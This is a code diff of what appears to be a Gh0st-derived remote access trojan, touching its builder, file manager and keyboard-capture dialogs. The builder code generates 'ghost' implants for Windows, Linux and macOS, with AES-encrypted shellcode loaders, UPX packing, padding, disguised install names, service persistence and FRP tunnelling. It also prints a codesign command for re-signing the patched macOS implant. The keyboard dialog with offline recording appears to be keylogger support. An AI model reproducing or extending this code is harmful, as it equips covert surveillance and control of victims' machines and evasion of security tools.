if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
// 获取文件大小
LARGE_INTEGER fileSize;
if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart == 0) {
CloseHandle(hFile);
return NULL;
}
// 分配内存并读取文件
dwSize = (DWORD)fileSize.QuadPart;
LPBYTE buffer = new BYTE[dwSize];
DWORD bytesRead = 0;
if (!ReadFile(hFile, buffer, dwSize, &bytesRead, NULL) || bytesRead != dwSize) {
delete[] buffer;
CloseHandle(hFile);
dwSize = 0;
return NULL;
}
CloseHandle(hFile);
return buffer;
}
// 从内嵌资源读取
static LPBYTE ReadResourceFromEmbedded(int resourceId, DWORD &dwSize)
{
dwSize = 0;
auto id = resourceId;
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(resourceId), "BINARY");
if (hResource == NULL) {
return NULL;
}
@@ -76,6 +134,54 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize)
return r;
}
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
LPBYTE ReadResource(int resourceId, DWORD &dwSize, const char* resName)
{
dwSize = 0;
// 1. 优先尝试从 res 目录读取外部文件
if (resName && resName[0]) {
LPBYTE data = ReadResourceFromFile(resName, dwSize);
if (data) {
return data;
}
}
// 2. 回退到内嵌资源
return ReadResourceFromEmbedded(resourceId, dwSize);
}
// ========== res 目录外部资源文件名定义 ==========
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
// 架构x86 / x64 / linux / macos
namespace ResFileName {
// Ghost 主程序
const char* GHOST_X86 = "ghost_x86.exe";
const char* GHOST_X64 = "ghost_x64.exe";
const char* GHOST_LINUX = "ghost_linux";
const char* GHOST_MACOS = "ghost_macos"; // 预留
// TestRun 加载器
const char* TESTRUN_X86 = "testrun_x86.dll";
const char* TESTRUN_X64 = "testrun_x64.dll";
// ServerDll
const char* SERVERDLL_X86 = "serverdll_x86.dll";
const char* SERVERDLL_X64 = "serverdll_x64.dll";
// TinyRun
const char* TINYRUN_X86 = "tinyrun_x86.exe";
const char* TINYRUN_X64 = "tinyrun_x64.exe";
// SCLoader (Shellcode加载器)
const char* SCLOADER_X86 = "scloader_x86.bin";
const char* SCLOADER_X64 = "scloader_x64.bin";
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
// FRP 相关 (无架构区分64位DLL)
const char* FRPC_DLL = "frpc.dll";
const char* FRPS_DLL = "frps.dll";
// 工具
const char* UPX_EXE = "upx.exe";
const char* RCEDIT_EXE = "rcedit.exe";
}
CString GenerateRandomName(int nLength)
{
@@ -180,10 +286,10 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
std::string ReleaseEXE(int resID, const char* name)
std::string ReleaseEXE(int resID, const char* name, const char* resName)
{
DWORD dwSize = 0;
LPBYTE data = ReadResource(resID, dwSize);
LPBYTE data = ReadResource(resID, dwSize, resName);
if (!data)
return "";
@@ -312,7 +418,7 @@ void CBuildDlg::OnBnClickedOk()
MessageBoxL("Shellcode 只能向64位电脑注入注入器也只能是64位!", "提示", MB_ICONWARNING);
return;
}
if (index == IndexLinuxGhost) {
if (index == IndexLinuxGhost || index == IndexMacGhost) {
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_SliderClientSize.SetPos(0);
}
@@ -329,42 +435,53 @@ void CBuildDlg::OnBnClickedOk()
startup = std::map<int, int> {
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
} [index];
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
break;
case IndexGhost:
file = "ghost.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
typ = CLIENT_TYPE_ONE;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
break;
case IndexGhostMsc:
file = "ghost.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
typ = CLIENT_TYPE_ONE;
startup = Startup_GhostMsc;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
break;
case IndexTestRunMsc:
file = "TestRun.exe";
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
typ = CLIENT_TYPE_MEMDLL;
startup = Startup_TestRunMsc;
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
break;
case IndexServerDll:
file = "ServerDll.dll";
typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
break;
case IndexTinyRun:
file = "TinyRun.dll";
typ = CLIENT_TYPE_SHELLCODE;
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
break;
case IndexLinuxGhost:
file = "ghost";
typ = CLIENT_TYPE_LINUX;
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize);
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX);
break;
case IndexMacGhost:
file = "ghost";
typ = CLIENT_TYPE_MACOS;
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
break;
case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file);
@@ -470,7 +587,8 @@ void CBuildDlg::OnBnClickedOk()
} else {
if (sel == CLIENT_COMPRESS_SC_AES) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize,
is64bit ? ResFileName::SCLOADER_X64 : ResFileName::SCLOADER_X86);
if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) {
@@ -534,7 +652,8 @@ void CBuildDlg::OnBnClickedOk()
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize);
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize,
is64bit ? ResFileName::SCLOADER_X64_OLD : ResFileName::SCLOADER_X86_OLD);
if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) {
@@ -586,7 +705,18 @@ void CBuildDlg::OnBnClickedOk()
std::vector<char> padding(size, time(0)%256);
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
}
MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION);
CString successMsg = _TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip;
// macOS binary 被 patch 后签名失效AMFI 会 SIGKILL。提醒走 install.sh
// (内部会 ad-hoc 重签) 或手动 codesign。
if (typ == CLIENT_TYPE_MACOS) {
successMsg += "\r\n\r\n";
successMsg += _TR("提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。");
successMsg += "\r\n";
successMsg += _TR("推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。");
successMsg += "\r\n";
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
}
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
@@ -650,6 +780,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
@@ -751,9 +882,34 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
return "";
}
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
// - 架构 (m_ComboBits)Linux/macOS binary 是固定架构的预编译资源
// - 加壳 (m_ComboCompress)UPX / ShellCode AES 等都是 Windows PE 概念
// - 高级 group安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
{
static const int ids[] = {
// 架构
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
// 加壳
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
// 高级 group + 内部所有控件
IDC_STATIC_BUILD_ADVANCED,
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
IDC_COMBO_PAYLOAD, IDC_SLIDER_CLIENT_SIZE,
IDC_CHECK_FILESERVER, IDC_EDIT_DOWNLOAD_URL,
};
for (int id : ids) {
if (CWnd* p = GetDlgItem(id)) p->EnableWindow(enable);
}
}
void CBuildDlg::OnCbnSelchangeComboExe()
{
auto n = m_ComboExe.GetCurSel();
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost));
if (n == OTHER_ITEM) {
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
if (!name.IsEmpty()) {

View File

@@ -3,9 +3,42 @@
#include "Buffer.h"
#include "LangManager.h"
LPBYTE ReadResource(int resourceId, DWORD& dwSize);
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr);
std::string ReleaseEXE(int resID, const char* name);
std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr);
// ========== res 目录外部资源文件名定义 ==========
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
// 架构x86 / x64 / linux / macos
namespace ResFileName {
// Ghost 主程序
extern const char* GHOST_X86;
extern const char* GHOST_X64;
extern const char* GHOST_LINUX;
extern const char* GHOST_MACOS; // 预留
// TestRun 加载器
extern const char* TESTRUN_X86;
extern const char* TESTRUN_X64;
// ServerDll
extern const char* SERVERDLL_X86;
extern const char* SERVERDLL_X64;
// TinyRun
extern const char* TINYRUN_X86;
extern const char* TINYRUN_X64;
// SCLoader (Shellcode加载器)
extern const char* SCLOADER_X86;
extern const char* SCLOADER_X64;
extern const char* SCLOADER_X86_OLD;
extern const char* SCLOADER_X64_OLD;
// FRP 相关 (无架构区分64位DLL)
extern const char* FRPC_DLL;
extern const char* FRPS_DLL;
// 工具
extern const char* UPX_EXE;
extern const char* RCEDIT_EXE;
}
CString BuildPayloadUrl(const char* ip, const char* name);
@@ -71,4 +104,7 @@ public:
CString m_sDownloadUrl;
afx_msg void OnBnClickedCheckFileserver();
afx_msg void OnCbnSelchangeComboPayload();
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group
void EnableWindowsOnlyControls(BOOL enable);
};

View File

@@ -5,6 +5,7 @@
#include "CRcEditDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
#include "BuildDlg.h"
// CRcEditDlg 对话框
@@ -78,10 +79,9 @@ void CRcEditDlg::OnOK()
MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION);
return;
}
std::string ReleaseEXE(int resID, const char* name);
int run_cmd(std::string cmdLine);
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe");
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe", ResFileName::RCEDIT_EXE);
if (rcedit.empty()) {
MessageBoxL("解压程序失败无法操作PE!", "提示", MB_ICONINFORMATION);
return;

View File

@@ -8,8 +8,13 @@
#include "InputDlg.h"
#include "ZstdArchive.h"
#include "2015RemoteDlg.h"
#include "CDlgFileSend.h"
#include <Shlobj.h>
// V2 接收用:定义在 CPasswordDlg.cpp按本仓约定就地前置声明
std::string GetPwdHash();
std::string GetHMAC(int offset);
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
@@ -25,6 +30,24 @@ static UINT indicators[] = {
#define MAX_SEND_BUFFER 65535
#define MAX_RECV_BUFFER 65535
// 静态成员变量定义 - 历史路径记录
CString CFileManagerDlg::s_strLocalHistoryPath;
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
CLock CFileManagerDlg::s_lockHistory;
// 获取有效的客户端ID基类已经覆盖 m_ClientID + ctx->GetClientID()(含 auth 后钉的值),
// 这里仅在它们都拿不到时(老客户端没走 auth通过 IP 反查主连接做兜底。
uint64_t CFileManagerDlg::GetClientID() const
{
uint64_t id = CDialogBase::GetClientID();
if (id != 0) return id;
// 老客户端兜底:通过 IP 找主连接获取 ClientID线程安全
if (g_2015RemoteDlg && m_ContextObject) {
return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName());
}
return 0;
}
typedef struct {
LVITEM* plvi;
CString sCol2;
@@ -137,10 +160,12 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads)
ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome)
ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch)
ON_COMMAND(IDT_LOCAL_HISTORY, OnLocalHistory)
ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop)
ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads)
ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome)
ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch)
ON_COMMAND(IDT_REMOTE_HISTORY, OnRemoteHistory)
ON_COMMAND(IDM_TRANSFER, OnTransfer)
ON_COMMAND(IDM_RENAME, OnRename)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
@@ -156,6 +181,8 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
ON_MESSAGE(WM_LOCAL_SEARCH_DONE, OnLocalSearchDone)
ON_MESSAGE(WM_LOCAL_SEARCH_PROGRESS, OnLocalSearchProgress)
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CFileManagerDlg::OnRecvFileV2Chunk)
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CFileManagerDlg::OnRecvFileV2Complete)
//}}AFX_MSG_MAP
ON_COMMAND(ID_FILEMANGER_COMPRESS, &CFileManagerDlg::OnFilemangerCompress)
ON_COMMAND(ID_FILEMANGER_UNCOMPRESS, &CFileManagerDlg::OnFilemangerUncompress)
@@ -494,6 +521,12 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
}
ShowMessage(_TRF("本地:装载目录 %s 完成"), m_Local_Path);
// 记录本地历史路径
if (m_Local_Path.GetLength() > 0) {
CAutoCLock lock(s_lockHistory);
s_strLocalHistoryPath = m_Local_Path;
}
}
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
@@ -966,6 +999,30 @@ void CFileManagerDlg::OnReceiveComplete()
ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed);
}
break;
case TOKEN_CLIENTID:
break;
case COMMAND_SEND_FILE_V2:
case COMMAND_FILE_COMPLETE_V2: {
// V2 下载(远程→本地):客户端把 chunk 通过 FileManager 子连接推回服务端。
// 此函数在 NotifyProc -> worker 线程上调用。窗口创建/UI 操作必须回 UI 线程,
// 否则消息泵不通,进度框不会显示(落盘可在任意线程,影响仅限 UI
// 拷贝数据后 PostMessage 回自己UI 线程的 OnRecvFileV2Chunk/Complete 处理。
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
unsigned len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
size_t minSize = (buf[0] == COMMAND_FILE_COMPLETE_V2)
? sizeof(FileCompletePacketV2) : sizeof(FileChunkPacketV2);
if (len >= minSize) {
// 两种结构 cmd/transferID 偏移一致,可共用 FileChunkPacketV2 取 transferID
uint64_t transferID = ((FileChunkPacketV2*)buf)->transferID;
UINT msg = (buf[0] == COMMAND_FILE_COMPLETE_V2)
? WM_RECVFILEV2_COMPLETE : WM_RECVFILEV2_CHUNK;
// 用 std::pair<vector,uint64> 当 wParam 载体UI 端 delete
auto* payload = new std::pair<std::vector<BYTE>, uint64_t>(
std::vector<BYTE>(buf, buf + len), transferID);
PostMessage(msg, (WPARAM)payload, 0);
}
break;
}
default:
SendException();
break;
@@ -1024,6 +1081,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path);
m_Remote_Directory_ComboBox.SetCurSel(0);
// 记录远程历史路径按客户端ID区分
uint64_t clientID = GetClientID();
if (m_Remote_Path.GetLength() > 0 && clientID != 0) {
CAutoCLock lock(s_lockHistory);
s_mapRemoteHistoryPath[clientID] = m_Remote_Path;
}
// 得到返回数据前禁窗口
m_list_remote.EnableWindow(FALSE);
m_ProgressCtrl->SetPos(0);
@@ -1594,6 +1658,57 @@ void CFileManagerDlg::OnRemoteSearch()
}
}
void CFileManagerDlg::OnLocalHistory()
{
// 跳转到上次打开的本地文件夹
CString historyPath;
{
CAutoCLock lock(s_lockHistory);
historyPath = s_strLocalHistoryPath;
}
if (historyPath.IsEmpty()) {
ShowMessage(_TR("没有本地历史记录"));
return;
}
// 检查目录是否存在
if (GetFileAttributesA(historyPath) == INVALID_FILE_ATTRIBUTES) {
ShowMessage(_TRF("历史目录不存在: %s"), historyPath);
return;
}
m_Local_Path = historyPath;
FixedLocalFileList(".");
}
void CFileManagerDlg::OnRemoteHistory()
{
// 跳转到上次打开的远程文件夹按客户端ID区分
uint64_t clientID = GetClientID();
if (clientID == 0) {
ShowMessage(_TR("无法识别远程主机"));
return;
}
CString historyPath;
{
CAutoCLock lock(s_lockHistory);
auto it = s_mapRemoteHistoryPath.find(clientID);
if (it != s_mapRemoteHistoryPath.end()) {
historyPath = it->second;
}
}
if (historyPath.IsEmpty()) {
ShowMessage(_TR("没有远程历史记录"));
return;
}
m_Remote_Path = historyPath;
GetRemoteFileList(".");
}
void CFileManagerDlg::OnLocalView()
{
// TODO: Add your command handler code here
@@ -2596,10 +2711,87 @@ void CFileManagerDlg::OnLocalStop()
void CFileManagerDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
// 清理 V2 接收进度框:注意 CDialogBase::PostNcDestroy 写死 `delete this`
// 对话框关窗时会自删——这里**不能** delete否则双重释放。
// 用 HWND 而非 ptr 判活避免野指针SendMessage(WM_CLOSE) 让它走自己关闭路径。
for (auto& entry : m_FileRecvDlgs) {
HWND hWnd = entry.second.first;
if (hWnd && ::IsWindow(hWnd)) {
::SendMessage(hWnd, WM_CLOSE, 0, 0);
}
}
m_FileRecvDlgs.clear();
__super::PostNcDestroy();
}
// V2 下载远程→本地chunk 处理UI 线程上执行,安全创建/操作进度框
LRESULT CFileManagerDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM /*lParam*/)
{
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
if (!payload) return 0;
BYTE* szBuffer = payload->first.data();
size_t len = payload->first.size();
uint64_t transferID = payload->second;
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
// 按 transferID 懒加载/复用进度框
// 注意CDlgFileSend 的 PostNcDestroy 自删CDialogBase 默认行为),
// 窗口被自动关闭后 dlg 是野指针HWND 失效是唯一可信号——重建即可,
// 旧 ptr 不再访问、不能 delete。
auto& entry = m_FileRecvDlgs[transferID];
CDlgFileSend* dlg = entry.second;
if (dlg == nullptr || !::IsWindow(entry.first)) {
dlg = new CDlgFileSend(g_2015RemoteDlg, m_ContextObject->GetServer(),
m_ContextObject, FALSE);
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
dlg->SetWindowTextA(_TR("接收文件 (V2)"));
dlg->ShowWindow(SW_SHOW);
dlg->m_bKeepConnection = TRUE; // FileManager 子连接复用,对话框关闭时不断开
entry = { dlg->GetSafeHwnd(), dlg };
}
// 落盘
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
int n = RecvFileChunkV2((char*)szBuffer, len, nullptr, nullptr, hash, hmac, 0);
if (n) {
Mprintf("[FileManager] RecvFileChunkV2 failed: %d\n", n);
}
// 进度
BYTE* name = szBuffer + sizeof(FileChunkPacketV2);
dlg->UpdateProgress(CString((char*)name, (int)pkt->nameLength), FileProgressInfo(pkt));
delete payload;
return 0;
}
// V2 文件完成校验UI 线程
LRESULT CFileManagerDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM /*lParam*/)
{
auto* payload = (std::pair<std::vector<BYTE>, uint64_t>*)wParam;
if (!payload) return 0;
BYTE* szBuffer = payload->first.data();
size_t len = payload->first.size();
uint64_t transferID = payload->second;
bool verifyOk = HandleFileCompleteV2((const char*)szBuffer, len, 0);
Mprintf("[FileManager] V2 文件校验%s\n", verifyOk ? "通过" : "失败");
// 关闭对应进度框
auto it = m_FileRecvDlgs.find(transferID);
if (it != m_FileRecvDlgs.end()) {
if (::IsWindow(it->second.first)) {
it->second.second->FinishFileSend(verifyOk);
}
m_FileRecvDlgs.erase(it);
}
delete payload;
return 0;
}
void CFileManagerDlg::SendTransferMode()
{
CFileTransferModeDlg dlg(this);
@@ -3125,18 +3317,19 @@ void CFileManagerDlg::OnTransferV2ToRemote()
// 通知客户端目标目录(使用远程当前目录)
// 由 SendFilesToClientV2 内部的 COMMAND_C2C_PREPARE 处理
// 调用V2传输 - 需要通过IP找到主连接m_ContextObject是子连接
if (g_2015RemoteDlg && m_ContextObject) {
// 通过子连接的IP地址找到主连接
std::string peerIP = m_ContextObject->GetPeerName();
context* mainCtx = g_2015RemoteDlg->FindHostByIP(peerIP);
// 调用V2传输 - 通过 clientID 找主连接m_ContextObject 是子连接)
// 不能用 GetPeerName() + FindHostByIPNAT/frpc/反代场景下子连接的 socket peer
// 常是 127.0.0.1 或内网地址,跟主连接登录时存的 RES_CLIENT_PUBIP 对不上,
// 会找到错误的 ctx 或返回 NULL剪贴板 V2 走 FindHost(clientID) 没此问题)。
if (g_2015RemoteDlg) {
uint64_t clientID = GetClientID();
context* mainCtx = clientID ? g_2015RemoteDlg->FindHost(clientID) : nullptr;
if (mainCtx) {
// 使用远程当前目录作为目标目录
std::string remoteDir = m_Remote_Path.GetString();
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
ShowMessage(_TRF("V2传输已启动共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
} else {
ShowMessage(_TRF("找不到主连接: %s"), peerIP.c_str());
ShowMessage(_TRF("找不到主连接: clientID=%llu"), clientID);
}
}
}

View File

@@ -7,6 +7,7 @@
#include "IOCPServer.h"
#include "SortListCtrl.h"
#include "../../common/locker.h"
#include <map>
#include <string>
#include <vector>
@@ -35,6 +36,8 @@
#define WM_MY_MESSAGE (WM_USER+300)
#define WM_LOCAL_SEARCH_DONE (WM_USER+302)
#define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303)
#define WM_RECVFILEV2_CHUNK (WM_USER+304)
#define WM_RECVFILEV2_COMPLETE (WM_USER+305)
// FileManagerDlg.h : header file
//
@@ -246,10 +249,12 @@ protected:
afx_msg void OnLocalDownloads();
afx_msg void OnLocalHome();
afx_msg void OnLocalSearch();
afx_msg void OnLocalHistory();
afx_msg void OnRemoteDesktop();
afx_msg void OnRemoteDownloads();
afx_msg void OnRemoteHome();
afx_msg void OnRemoteSearch();
afx_msg void OnRemoteHistory();
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
//}}AFX_MSG
@@ -266,6 +271,15 @@ protected:
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
private:
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
// V2 下载远程→本地FileManager 子连接的 NotifyProc 在 worker 线程上
// 直接调 OnReceiveComplete不能在那里 new 进度框(窗口创建在 worker 线程
// 没有消息泵PostMessage 投不出去)。把 chunk 数据拷贝出来 PostMessage 回
// 自己UI 线程)处理,参考 ScreenSpyDlg 同样的模式。按 transferID 维护进度框。
std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;
afx_msg LRESULT OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam);
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();
void SendFileData();
@@ -274,6 +288,14 @@ private:
void EnableControl(BOOL bEnable = TRUE);
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
float m_fScalingFactor;
// 历史路径记录(静态,跨实例共享)
static CString s_strLocalHistoryPath;
static std::map<uint64_t, CString> s_mapRemoteHistoryPath;
static CLock s_lockHistory; // 保护历史路径的锁
// 获取有效的客户端ID优先用 m_ClientID否则通过 IP 找主连接)
uint64_t GetClientID() const;
public:
afx_msg void OnFilemangerCompress();
afx_msg void OnFilemangerUncompress();

View File

@@ -228,8 +228,12 @@ public:
{
return m_bIsClosed;
}
uint64_t GetClientID() const {
return m_ClientID;
virtual uint64_t GetClientID() const {
// 优先用 UpdateContext 设过的 m_ClientID重连场景否则取子连接 ctx 自身的 ID。
// 子连接通过 TOKEN_CONN_AUTH 通过校验后ctx->GetClientID() 已被钉成主连接的 clientID
// 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底NAT/127.0.0.1 场景靠谱)。
if (m_ClientID != 0) return m_ClientID;
return m_ContextObject ? m_ContextObject->GetClientID() : 0;
}
BOOL SayByeBye()
{

View File

@@ -3,7 +3,9 @@
#include "stdafx.h"
#include <WinUser.h>
#include <string>
#include "KeyBoardDlg.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__;
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
// 老客户端只发 2 字节GetBYTE 越界返回 0等同 caps=0 -> 走 CP936 兜底,向后兼容。
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
if (caps != 0) {
CString capStr;
capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
}
}
@@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog()
UpdateTitle();
// -----------------------------------------------------------------
// 把 m_edit 重建为 Unicode 类窗口。
// 工程是 MBCSMFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
